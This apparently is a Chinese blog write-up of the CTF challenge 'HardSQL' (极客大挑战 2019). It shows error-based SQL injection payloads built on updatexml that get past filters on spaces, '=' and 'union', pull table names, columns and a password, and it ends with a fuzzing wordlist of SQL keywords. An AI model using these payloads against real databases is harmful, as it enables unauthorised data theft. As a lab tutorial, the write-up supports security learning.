• [极客大挑战 2019]HardSQL1


    提示(最后有我自用的字典,  需要可以自取)

    1. 空格等号绕过
    2. 报错查询
    3. 当显示不全时left(),  right(),  substr(),

    拿到题目以后直接fuzz

    这里发现过滤了  '='  '空格以及空格的变式/**/'  'union'  但是updatexml还在还可以使用报错注入,  空格可以用()代替,  而=则可以用like代替

    payload:

    1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

    这里爆出表名H4rDsq1

    payload:

    1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

    出了字段,  现在查密码

    payload:

    1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#

    到这里只显示了一半的flag

    接下来有两个函数可以使用right和substr

    首先right

    payload1:(right)

    1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#

    payload2:(substr    !!注意这里只是提示,  这道题禁用了substr)

    1'or(updatexml(1,concat(0x7e,(select(substr(password,15,15))from(H4rDsq1)),0x7e),1))#

    right('想要取的字段',  '从右到左取多少个'),  left同理

    substr('想要取的字段',  '从左到右第几位开始',  '取几个')

    测试过滤字典(只是我自用的,  平时按着需求添加的,  如有缺陷请自行添加)

    union select
    union/**/select
    union
    select
    ascii
    substr
    from
    or
    and1=1
    and 1=1
    updatexml
    information_schema.schemata
    information_schema.tables
    information_schema.columns
    handler
    group_concat
    sleep
    length
    ()
    =
    #
    --
    %23
    >
    <
    =
    ^
    table_name
    table_schema
    column_name
    information_schema.tables
    information_schema.schemata
    information_schema.columns
    where
    ,
    database()

  • 相关阅读:
    【pytest】 allure 生成报告
    内核中的RCU锁
    springMvc54-简单异常处理二
    okcc坐席进线太慢,怎么办?
    微服务SpringBoot 整合Redis 实现点赞、点赞排行榜
    内置 230+ 工具,它值得被官方纳入标准库
    IIC总线专题超级全
    父组件调用子组件中的方法(vue2)
    论文阅读——InstructGPT
    C Primer Plus(6) 中文版 第2章 C语言概述 2.4 提高程序可读性的技巧
  • 原文地址:https://blog.csdn.net/whale_waves/article/details/134239410